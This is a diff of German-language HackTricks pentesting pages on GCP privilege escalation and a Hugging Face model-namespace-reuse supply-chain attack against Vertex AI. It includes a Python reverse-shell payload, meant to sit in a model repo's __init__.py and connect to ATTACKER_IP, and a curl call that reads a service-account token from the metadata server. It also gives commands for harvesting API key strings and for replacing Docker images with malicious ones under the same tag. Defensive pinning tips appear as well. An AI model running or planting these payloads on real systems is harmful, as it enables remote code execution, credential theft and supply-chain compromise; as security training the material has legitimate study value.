- Transferierte Modelle: der alte Modellpfad gibt 307 auf den neuen Owner zurück, solange der alte Author existiert. Wenn der alte Author später gelöscht und neu registriert wird, wird der Legacy-Pfad auf das Repo des Angreifers aufgelöst.
|
||||
|
||||
Schnelle Prüfungen mit curl:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
# 200 = exists, 404 = deleted/available
|
||||
|
||||
# Check old model path behavior
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## End-to-End-Angriffsablauf gegen Vertex AI
|
||||
|
||||
1) Entdecke wiederverwendbare Modell-Namespaces, die Model Garden als deploybar auflistet:
|
||||
- Finde HF-Modelle in Vertex AI Model Garden, die noch als “verified deployable” angezeigt werden.
|
||||
- Prüfe auf HF, ob der ursprüngliche Author gelöscht wurde oder ob das Modell übertragen wurde und der alte Author später entfernt wurde.
|
||||
|
||||
2) Registriere den gelöschten Author auf HF neu und erstelle denselben ModelName wieder.
|
||||
|
||||
3) Veröffentliche ein bösartiges repo. Füge Code hinzu, der beim Model-Load ausgeführt wird. Beispiele, die beim HF-Model-Load häufig ausgeführt werden:
|
||||
- Seiteneffekte in __init__.py des Repos
|
||||
- Benutzerdefinierte modeling_*.py- oder Verarbeitungscode, der von config/auto_map referenziert wird
|
||||
- Codepfade, die trust_remote_code=True in Transformers pipelines erfordern
|
||||
|
||||
4) Eine Vertex AI-Bereitstellung des Legacy Author/ModelName zieht nun das Angreifer-repo. Der Loader wird innerhalb des Vertex AI endpoint container ausgeführt.
|
||||
|
||||
5) Die Payload stellt Zugriff aus der Endpoint-Umgebung (RCE) mit den Berechtigungen des Endpoints her.
|
||||
|
||||
Beispiel eines Payload-Fragments, das beim Import ausgeführt wird (nur zur Demonstration):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
|
||||
|
||||
if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Notizen
|
||||
- Real-world loaders variieren. Viele Vertex AI HF Integrationen klonen und importieren Repo-Module, die in der model’s config referenziert werden (z. B. auto_map), was code execution auslösen kann. Einige Einsatzzwecke erfordern trust_remote_code=True.
|
||||
- Der Endpoint läuft typischerweise in einem dedizierten Container mit begrenztem Scope, stellt jedoch einen gültigen initial foothold für data access und lateral movement in GCP dar.
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
Sobald code im Endpoint-Container läuft, erwägen:
|
||||
- Environment-Variablen und Metadaten nach credentials/tokens enumerieren
|
||||
- Zugriff auf angehängten Storage oder gemountete Modell-Artefakte
|
||||
- Mit Google APIs über die Service-Account-Identität interagieren (Document AI, Storage, Pub/Sub, etc.)
|
||||
- Persistenz im Modell-Artefakt, falls die Plattform das Repo erneut zieht
|
||||
|
||||
Instanz-Metadaten auflisten, falls zugänglich (abhängig vom Container):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Defensive Hinweise für Vertex AI-Nutzer
|
||||
|
||||
- Modelle per Commit in HF loaders pinnen, um stilles Ersetzen zu verhindern:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Spiegle geprüfte HF models in ein vertrauenswürdiges internes Artifact-Store/Registry und stelle sie von dort bereit.
|
||||
- Scanne kontinuierlich Codebasen und Konfigurationen nach hartkodierten Author/ModelName, die gelöscht/übertragen wurden; aktualisiere auf neue Namespaces oder lege sie per Commit fest.
|
||||
- In Model Garden, prüfe die Modellherkunft und die Existenz des Authors vor der Bereitstellung.
|
||||
|
||||
## Erkennungsheuristiken (HTTP)
|
||||
|
||||
- Deleted author: author page 404; legacy model path 404 bis zur Übernahme.
|
||||
- Transferred model: legacy path 307 zum neuen author, während der alte author noch existiert; wenn der alte author später gelöscht und neu registriert wird, liefert der legacy path attacker content.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## Querverweise
|
||||
|
||||
- Siehe umfassendere Methodik- und Supply-Chain-Hinweise:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,66 +4,81 @@
|
||||
|
||||
## Apikeys
|
||||
|
||||
Die folgenden Berechtigungen sind nützlich, um API-Schlüssel zu erstellen und zu stehlen, beachten Sie dies aus den Dokumenten: _Ein API-Schlüssel ist eine einfache verschlüsselte Zeichenfolge, die **eine Anwendung ohne ein Prinzipal identifiziert**. Sie sind nützlich, um **öffentliche Daten anonym** abzurufen, und werden verwendet, um API-Anfragen mit Ihrem Projekt für Quoten und **Abrechnung** zu **verknüpfen**._
|
||||
Die folgenden Berechtigungen sind nützlich, um API keys zu erstellen und zu stehlen. Beachte dies aus der Dokumentation: _Ein API key ist eine einfache verschlüsselte Zeichenfolge, die **eine Anwendung ohne Principal identifiziert**. Sie sind nützlich, um **öffentliche Daten anonym** zuzugreifen, und werden verwendet, um API-Anfragen mit Ihrem Projekt für Kontingente und **Abrechnung** zu **verknüpfen**._
|
||||
|
||||
Daher können Sie mit einem API-Schlüssel das Unternehmen für Ihre Nutzung der API bezahlen lassen, aber Sie werden keine Berechtigungen eskalieren können.
|
||||
Daher können Sie mit einem API key das Unternehmen Ihre Nutzung der API bezahlen lassen, aber Sie können damit keine Privilegien eskalieren.
|
||||
|
||||
Für weitere Informationen zu API-Schlüsseln siehe:
|
||||
Für weitere Informationen zu API Keys siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Für andere Möglichkeiten zur Erstellung von API-Schlüsseln siehe:
|
||||
Für andere Wege, API Keys zu erstellen, siehe:
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
### Brute-Force API Key Zugriff <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
Da Sie möglicherweise nicht wissen, welche APIs im Projekt aktiviert sind oder welche Einschränkungen auf den gefundenen API-Schlüssel angewendet werden, wäre es interessant, das Tool [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) auszuführen und zu überprüfen, **auf was Sie mit dem API-Schlüssel zugreifen können.**
|
||||
Da Sie möglicherweise nicht wissen, welche APIs im Projekt aktiviert sind oder welche Einschränkungen auf den gefundenen API key angewendet wurden, ist es sinnvoll, das Tool [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) auszuführen und zu prüfen, **auf was Sie mit dem API key zugreifen können.**
|
||||
|
||||
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
Diese Berechtigung ermöglicht es, **einen API-Schlüssel zu erstellen**:
|
||||
Diese Berechtigung erlaubt, **einen API key zu erstellen**:
|
||||
|
||||
<details>
|
||||
<summary>Einen API key mit gcloud erstellen</summary>
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]==\"",
|
||||
"etag":"W/\"HOhA[...]=\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
}
|
||||
```
|
||||
Sie können ein Skript zur Automatisierung der [**Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier finden**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
||||
</details>
|
||||
|
||||
Du findest ein Skript, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh) zu automatisieren.
|
||||
|
||||
> [!CAUTION]
|
||||
> Beachten Sie, dass Benutzer standardmäßig die Berechtigung haben, neue Projekte zu erstellen, und ihnen die Rolle Owner über das neue Projekt zugewiesen wird. Ein Benutzer könnte also **ein Projekt und einen API-Schlüssel innerhalb dieses Projekts erstellen**.
|
||||
> Beachte, dass Benutzer standardmäßig die Berechtigung haben, neue Projekte zu erstellen, und ihnen die Rolle Owner für das neue Projekt zugewiesen wird. Ein Benutzer könnte also **ein Projekt erstellen und einen API-Schlüssel in diesem Projekt anlegen**.
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
Diese Berechtigungen erlauben **das Auflisten und Abrufen aller apiKeys und das Abrufen des Schlüssels**:
|
||||
Diese Berechtigungen erlauben das **Auflisten aller apiKeys und das Abrufen des Key**:
|
||||
|
||||
<details>
|
||||
<summary>API-Schlüssel auflisten und abrufen</summary>
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
Sie finden ein Skript zur Automatisierung der [**Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
|
||||
</details>
|
||||
|
||||
Sie finden ein Skript, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh) zu automatisieren.
|
||||
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
Diese Berechtigungen ermöglichen es Ihnen, **gelöschte API-Schlüssel aufzulisten und wiederherzustellen**. Der **API-Schlüssel wird in der Ausgabe** nach der **Wiederherstellung** angezeigt:
|
||||
Diese Berechtigungen erlauben es Ihnen, **gelöschte api keys aufzulisten und wiederherzustellen**. Der **API key wird in der Ausgabe angegeben**, nachdem das **undelete** durchgeführt wurde:
|
||||
|
||||
<details>
|
||||
<summary>API keys auflisten und wiederherstellen</summary>
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
### Erstellen Sie eine interne OAuth-Anwendung, um andere Mitarbeiter zu phishen
|
||||
</details>
|
||||
|
||||
Überprüfen Sie die folgende Seite, um zu erfahren, wie Sie dies tun können, obwohl diese Aktion zum Dienst **`clientauthconfig`** gehört [laut den Dokumenten](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
### Erstelle eine interne OAuth Application, um andere Mitarbeiter zu phishen
|
||||
|
||||
Siehe die folgende Seite, um zu erfahren, wie das geht, obwohl diese Aktion zum Dienst **`clientauthconfig`** gehört [laut der Dokumentation](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
|
||||
{{#ref}}
|
||||
../../workspace-security/gws-google-platforms-phishing/
|
||||
|
||||
+46
-21
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Engine
|
||||
|
||||
Für weitere Informationen über App Engine siehe:
|
||||
Für mehr Informationen über App Engine siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -12,26 +12,34 @@ Für weitere Informationen über App Engine siehe:
|
||||
|
||||
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
Das sind die benötigten Berechtigungen, um **eine App mit `gcloud` cli zu deployen**. Vielleicht könnten die **`get`** und **`list`** Berechtigungen **vermeidet** werden.
|
||||
Das sind die benötigten Berechtigungen, um eine App mit dem `gcloud` CLI bereitzustellen. Möglicherweise können die **`get`**- und **`list`**-Berechtigungen entfallen.
|
||||
|
||||
Du kannst Python-Codebeispiele in [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine) finden.
|
||||
Sie finden Python-Codebeispiele unter [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
|
||||
Standardmäßig wird der Name des App-Dienstes **`default`** sein, und es kann nur 1 Instanz mit demselben Namen geben.\
|
||||
Um dies zu ändern und eine zweite App zu erstellen, ändere im **`app.yaml`** den Wert des Wurzel-Schlüssels in etwas wie **`service: my-second-app`**.
|
||||
Standardmäßig ist der Name des App-Services **`default`**, und es kann nur 1 Instanz mit demselben Namen geben.\
|
||||
Um ihn zu ändern und eine zweite App zu erstellen, ändern Sie in **`app.yaml`** den Wert des Root-Schlüssels zu etwas wie **`service: my-second-app`**
|
||||
|
||||
<details>
|
||||
<summary>App Engine-Anwendung bereitstellen</summary>
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
Gib ihm mindestens 10-15 Minuten, wenn es nicht funktioniert, rufe **deploy another of times** und warte einige Minuten an.
|
||||
</details>
|
||||
|
||||
Gib ihm mindestens 10–15 Minuten; wenn es nicht funktioniert, rufe **deploy another of times** auf und warte einige Minuten.
|
||||
|
||||
> [!NOTE]
|
||||
> Es ist **möglich, das zu verwendende Service-Konto anzugeben**, aber standardmäßig wird das App Engine-Standard-SK verwendet.
|
||||
> Es ist **möglich, das zu verwendende Service Account anzugeben**, aber standardmäßig wird das App Engine default SA verwendet.
|
||||
|
||||
Die URL der Anwendung ist etwas wie `https://<proj-name>.oa.r.appspot.com/` oder `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
Die URL der Anwendung ist etwa `https://<proj-name>.oa.r.appspot.com/` oder `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
|
||||
### Aktualisiere äquivalente Berechtigungen
|
||||
### Entsprechende Berechtigungen aktualisieren
|
||||
|
||||
Möglicherweise hast du genügend Berechtigungen, um eine AppEngine zu aktualisieren, aber nicht, um eine neue zu erstellen. In diesem Fall ist dies, wie du die aktuelle App Engine aktualisieren könntest:
|
||||
Möglicherweise hast du genügend Berechtigungen, um eine AppEngine zu aktualisieren, aber nicht, um eine neue zu erstellen. In diesem Fall kannst du das aktuelle App Engine wie folgt aktualisieren:
|
||||
|
||||
<details>
|
||||
<summary>Bestehende App Engine-Anwendung aktualisieren</summary>
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
@@ -62,41 +70,58 @@ gcloud app deploy
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
Wenn Sie **bereits eine AppEngine kompromittiert haben** und Sie die Berechtigung **`appengine.applications.update`** sowie **actAs** über das Dienstkonto haben, könnten Sie das von AppEngine verwendete Dienstkonto mit folgendem Befehl ändern:
|
||||
</details>
|
||||
|
||||
Wenn Sie bereits eine AppEngine kompromittiert haben und die Berechtigung **`appengine.applications.update`** sowie **actAs** für das zu verwendende Servicekonto besitzen, können Sie das von AppEngine verwendete Servicekonto wie folgt ändern:
|
||||
|
||||
<details>
|
||||
<summary>App Engine-Servicekonto aktualisieren</summary>
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
Mit diesen Berechtigungen ist es möglich, sich **via ssh in App Engine-Instanzen** vom Typ **flexible** (nicht standard) **einzuloggen**. Einige der **`list`** und **`get`** Berechtigungen **könnten wirklich nicht benötigt werden**.
|
||||
Mit diesen Berechtigungen ist es möglich, sich **per ssh in App Engine instances einzuloggen** vom Typ **flexible** (nicht **standard**). Einige der **`list`** und **`get`** Berechtigungen **könnten nicht wirklich benötigt werden**.
|
||||
|
||||
<details>
|
||||
<summary>SSH into App Engine instance</summary>
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
Ich denke, das ändert nur den Hintergrund-SA, den Google verwenden wird, um die Anwendungen einzurichten, daher denke ich nicht, dass man dies ausnutzen kann, um das Dienstkonto zu stehlen.
|
||||
Ich denke, das ändert nur das Hintergrund-SA, das google zum Einrichten der Anwendungen verwenden wird; daher glaube ich nicht, dass man das missbrauchen kann, um das Service Account zu stehlen.
|
||||
|
||||
<details>
|
||||
<summary>Service Account der Anwendung aktualisieren</summary>
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
Nicht sicher, wie man diese Berechtigungen verwendet oder ob sie nützlich sind (beachten Sie, dass bei einer Codeänderung eine neue Version erstellt wird, daher weiß ich nicht, ob Sie nur den Code oder die IAM-Rolle eines davon aktualisieren können, aber ich nehme an, dass Sie das können, vielleicht indem Sie den Code im Bucket ändern??).
|
||||
Ich bin mir nicht sicher, wie man diese Berechtigungen verwendet oder ob sie nützlich sind (beachte, dass beim Ändern des Codes eine neue Version erstellt wird, daher weiß ich nicht, ob man einfach den Code oder die IAM-Rolle einer Version aktualisieren kann, aber ich nehme an, dass das möglich sein sollte — vielleicht durch Ändern des Codes im Bucket??).
|
||||
|
||||
### Schreibzugriff auf die Buckets
|
||||
### Write Access over the buckets
|
||||
|
||||
Wie bereits erwähnt, generieren die App Engine-Versionen einige Daten in einem Bucket mit dem Formatname: `staging.<project-id>.appspot.com`. Beachten Sie, dass es nicht möglich ist, diesen Bucket im Voraus zu übernehmen, da GCP-Benutzer nicht autorisiert sind, Buckets mit dem Domainnamen `appspot.com` zu erstellen.
|
||||
Wie erwähnt erzeugen die appengine versions einige Daten in einem Bucket mit dem Format: `staging.<project-id>.appspot.com`. Beachte, dass es nicht möglich ist, diesen Bucket im Voraus zu übernehmen, da GCP-Benutzer nicht berechtigt sind, Buckets mit dem Domainnamen `appspot.com` zu erstellen.
|
||||
|
||||
Mit Lese- und Schreibzugriff auf diesen Bucket ist es jedoch möglich, die Berechtigungen für den SA, der an der App Engine-Version angehängt ist, zu eskalieren, indem man den Bucket überwacht und jedes Mal, wenn eine Änderung vorgenommen wird, den Code so schnell wie möglich ändert. Auf diese Weise wird der Container, der aus diesem Code erstellt wird, **den hinterhältigen Code ausführen**.
|
||||
Mit Lese- und Schreibzugriff auf diesen Bucket ist es jedoch möglich, Rechte auf das an die AppEngine-Version angehängte SA zu eskalieren, indem man den Bucket überwacht und bei jeder Änderung den Code so schnell wie möglich anpasst. Auf diese Weise wird der Container, der aus diesem Code erstellt wird, **execute the backdoored code**.
|
||||
|
||||
Für weitere Informationen und eine **PoC überprüfen Sie die relevanten Informationen von dieser Seite**:
|
||||
Für mehr Informationen und einen **PoC siehe die relevanten Informationen auf dieser Seite**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Schreibzugriff auf das Artifact Registry
|
||||
### Write Access over the Artifact Registry
|
||||
|
||||
Obwohl App Engine Docker-Images im Artifact Registry erstellt, wurde getestet, dass **selbst wenn Sie das Image in diesem Dienst ändern** und die App Engine-Instanz entfernen (sodass eine neue bereitgestellt wird), der **ausgeführte Code sich nicht ändert**.\
|
||||
Es könnte möglich sein, dass durch die Durchführung eines **Race Condition-Angriffs, wie bei den Buckets, der ausgeführte Code überschrieben werden kann**, aber das wurde nicht getestet.
|
||||
Obwohl App Engine docker images in der Artifact Registry erstellt, wurde getestet, dass **selbst wenn du das Image in diesem Service veränderst** und die App Engine-Instanz entfernst (wodurch eine neue bereitgestellt wird), sich der **ausgeführte Code nicht ändert**.
|
||||
Es könnte möglich sein, dass durch eine **Race Condition attack** wie bei den Buckets der ausgeführte Code überschrieben werden kann, aber das wurde nicht getestet.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+90
-32
@@ -4,7 +4,7 @@
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
Für weitere Informationen über das Artifact Registry siehe:
|
||||
Weitere Informationen zu Artifact Registry:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
@@ -12,7 +12,10 @@ Für weitere Informationen über das Artifact Registry siehe:
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
Mit dieser Berechtigung könnte ein Angreifer neue Versionen der Artefakte mit schädlichem Code wie Docker-Images hochladen:
|
||||
Mit dieser Berechtigung könnte ein attacker neue Versionen der Artefakte mit bösartigem Code, z. B. Docker-Images, hochladen:
|
||||
|
||||
<details>
|
||||
<summary>Docker-Image in Artifact Registry hochladen</summary>
|
||||
```bash
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -23,21 +26,26 @@ docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<r
|
||||
# Upload it
|
||||
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Es wurde überprüft, dass es **möglich ist, ein neues bösartiges Docker**-Image mit demselben Namen und Tag wie das bereits vorhandene hochzuladen, sodass das **alte den Tag verliert** und beim nächsten Mal, wenn dieses Image mit diesem Tag **heruntergeladen wird, das bösartige** heruntergeladen wird.
|
||||
> Es wurde überprüft, dass es **möglich ist, ein neues bösartiges docker image** mit demselben Namen und Tag wie das bereits vorhandene hochzuladen, sodass das **alte den Tag verliert** und beim nächsten Download dieses Images mit diesem Tag **das bösartige heruntergeladen wird**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Eine Python-Bibliothek hochladen</summary>
|
||||
|
||||
**Beginnen Sie mit der Erstellung der Bibliothek, die hochgeladen werden soll** (wenn Sie die neueste Version aus dem Repository herunterladen können, können Sie diesen Schritt überspringen):
|
||||
**Beginnen Sie damit, die Bibliothek zu erstellen, die Sie hochladen möchten** (wenn Sie die neueste Version aus der Registry herunterladen können, können Sie diesen Schritt überspringen):
|
||||
|
||||
1. **Richten Sie Ihre Projektstruktur ein**:
|
||||
1. **Richten Sie die Projektstruktur ein**:
|
||||
|
||||
- Erstellen Sie ein neues Verzeichnis für Ihre Bibliothek, z.B. `hello_world_library`.
|
||||
- Erstellen Sie in diesem Verzeichnis ein weiteres Verzeichnis mit Ihrem Paketnamen, z.B. `hello_world`.
|
||||
- Erstellen Sie ein neues Verzeichnis für Ihre Bibliothek, z. B. `hello_world_library`.
|
||||
- Erstellen Sie innerhalb dieses Verzeichnisses ein weiteres Verzeichnis mit dem Namen Ihres Pakets, z. B. `hello_world`.
|
||||
- Erstellen Sie in Ihrem Paketverzeichnis eine `__init__.py`-Datei. Diese Datei kann leer sein oder Initialisierungen für Ihr Paket enthalten.
|
||||
|
||||
<details>
|
||||
<summary>Projektstruktur erstellen</summary>
|
||||
|
||||
```bash
|
||||
mkdir hello_world_library
|
||||
cd hello_world_library
|
||||
@@ -45,21 +53,31 @@ mkdir hello_world
|
||||
touch hello_world/__init__.py
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
2. **Schreiben Sie Ihren Bibliothekscode**:
|
||||
|
||||
- Erstellen Sie im Verzeichnis `hello_world` eine neue Python-Datei für Ihr Modul, z.B. `greet.py`.
|
||||
- Erstellen Sie im Verzeichnis `hello_world` eine neue Python-Datei für Ihr Modul, z. B. `greet.py`.
|
||||
- Schreiben Sie Ihre "Hello, World!"-Funktion:
|
||||
|
||||
<details>
|
||||
<summary>Library-Modul erstellen</summary>
|
||||
|
||||
```python
|
||||
# hello_world/greet.py
|
||||
def say_hello():
|
||||
return "Hello, World!"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
3. **Erstellen Sie eine `setup.py`-Datei**:
|
||||
|
||||
- Erstellen Sie im Stammverzeichnis Ihres `hello_world_library`-Verzeichnisses eine `setup.py`-Datei.
|
||||
- Diese Datei enthält Metadaten über Ihre Bibliothek und sagt Python, wie es installiert werden soll.
|
||||
- Diese Datei enthält Metadaten über Ihre Bibliothek und teilt Python mit, wie sie installiert werden soll.
|
||||
|
||||
<details>
|
||||
<summary>setup.py-Datei erstellen</summary>
|
||||
|
||||
```python
|
||||
# setup.py
|
||||
@@ -70,47 +88,70 @@ name='hello_world',
|
||||
version='0.1',
|
||||
packages=find_packages(),
|
||||
install_requires=[
|
||||
# Alle Abhängigkeiten, die Ihre Bibliothek benötigt
|
||||
# Any dependencies your library needs
|
||||
],
|
||||
)
|
||||
```
|
||||
|
||||
**Jetzt lassen Sie uns die Bibliothek hochladen:**
|
||||
</details>
|
||||
|
||||
**Jetzt laden wir die Bibliothek hoch:**
|
||||
|
||||
1. **Bauen Sie Ihr Paket**:
|
||||
|
||||
- Führen Sie im Stammverzeichnis Ihres `hello_world_library`-Verzeichnisses Folgendes aus:
|
||||
- Führen Sie im Stammverzeichnis Ihres `hello_world_library`-Verzeichnisses aus:
|
||||
|
||||
<details>
|
||||
<summary>Paket bauen</summary>
|
||||
|
||||
```sh
|
||||
python3 setup.py sdist bdist_wheel
|
||||
```
|
||||
|
||||
2. **Konfigurieren Sie die Authentifizierung für twine** (wird verwendet, um Ihr Paket hochzuladen):
|
||||
- Stellen Sie sicher, dass Sie `twine` installiert haben (`pip install twine`).
|
||||
</details>
|
||||
|
||||
2. **Konfigurieren Sie die Authentifizierung für twine** (wird zum Hochladen Ihres Pakets verwendet):
|
||||
- Stellen Sie sicher, dass `twine` installiert ist (`pip install twine`).
|
||||
- Verwenden Sie `gcloud`, um die Anmeldeinformationen zu konfigurieren:
|
||||
````
|
||||
|
||||
<details>
|
||||
<summary>Paket mit twine hochladen</summary>
|
||||
```sh
|
||||
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
|
||||
```
|
||||
````
|
||||
3. **Bauen Sie auf**
|
||||
</details>
|
||||
|
||||
3. **Build bereinigen**
|
||||
|
||||
<details>
|
||||
<summary>Build-Artefakte bereinigen</summary>
|
||||
```bash
|
||||
rm -rf dist build hello_world.egg-info
|
||||
```
|
||||
</details>
|
||||
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Es ist nicht möglich, eine Python-Bibliothek mit der gleichen Version wie die bereits vorhandene hochzuladen, aber es ist möglich, **größere Versionen** hochzuladen (oder eine zusätzliche **`.0` am Ende** der Version hinzuzufügen, wenn das funktioniert - nicht in Python jedoch), oder die **letzte Version zu löschen und eine neue mit** (benötigt `artifactregistry.versions.delete)`** hochzuladen:**
|
||||
>
|
||||
> ```sh
|
||||
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
> ```
|
||||
> Es ist nicht möglich, eine python-Bibliothek mit derselben Version wie die bereits vorhandene hochzuladen, aber es ist möglich, **größere Versionen** hochzuladen (oder eine zusätzliche **`.0` am Ende** der Version hinzuzufügen, falls das funktioniert - nicht bei python), oder die **letzte Version zu löschen und eine neue hochzuladen** (benötigt `artifactregistry.versions.delete`):
|
||||
|
||||
<details>
|
||||
<summary>Delete artifact version</summary>
|
||||
|
||||
```sh
|
||||
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.downloadArtifacts`
|
||||
|
||||
Mit dieser Berechtigung können Sie **Artefakte herunterladen** und nach **sensiblen Informationen** und **Schwachstellen** suchen.
|
||||
|
||||
Laden Sie ein **Docker**-Image herunter:
|
||||
Download a **Docker** image:
|
||||
|
||||
<details>
|
||||
<summary>Download Docker image from Artifact Registry</summary>
|
||||
```sh
